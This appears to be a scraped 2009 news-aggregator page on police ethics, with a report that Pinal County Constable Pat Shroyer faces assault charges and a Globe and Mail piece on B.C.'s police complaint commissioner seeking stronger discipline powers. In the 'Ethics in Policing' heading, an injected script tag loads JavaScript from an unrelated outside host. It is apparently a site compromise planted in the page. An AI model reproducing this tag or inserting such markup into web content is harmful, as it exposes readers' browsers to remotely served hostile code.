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NEWS > 12 September 2009

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Pinal official faces charges o
Pinal County Constable Pat Shroyer will stand trial next month, charged with assaulting two Apache Junction residents while trying to enforce a court order in June.

Shroyer, who is running unopposed for re-election, will go to court Nov. 2 to face four misdemeanor charges including disorderly conduct, criminal damage and two charges of assault. If convicted, he could face up to up to one year in jail and $4,250 in fines —but he wouldn’t automatically lose his job.

Chuck Teegarden, a spokesman for the Pinal County Attorney’s Office, said the law wouldn’t prevent Shroyer f... Read more

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Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Globe and Mail
12 September 2009
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Ethics in Policing

Canada: More power urged to pu

Out of the 77 times B.C.'s police complaint commissioner found misconduct this year, only one resulted in a maximum suspension, and the commissioner's office is hoping new legislation will offer more clout to punish police who are out of line.

The commissioner's office released its quarterly report yesterday, saying the number of substantiated complaints so far this year is in line with those from past years.

But Bruce Brown, the deputy commissioner, said in an interview that he hopes long-awaited changes to the Police Act surrounding officer discipline will be made by the legislature in this fall sitting.

And David Eby, of the B.C. Civil Liberties Association, said the fact that all but 19 of the substantiated complaints came from police departments themselves means the system isn't functioning for the public.

The one allegation that resulted in the maximum five-day suspension involved an officer convicted of assault for kicking an alleged car thief in the face.

The only other sanction more serious is outright dismissal. That penalty was not handed out in the complaints examined by the commissioner this year.
 

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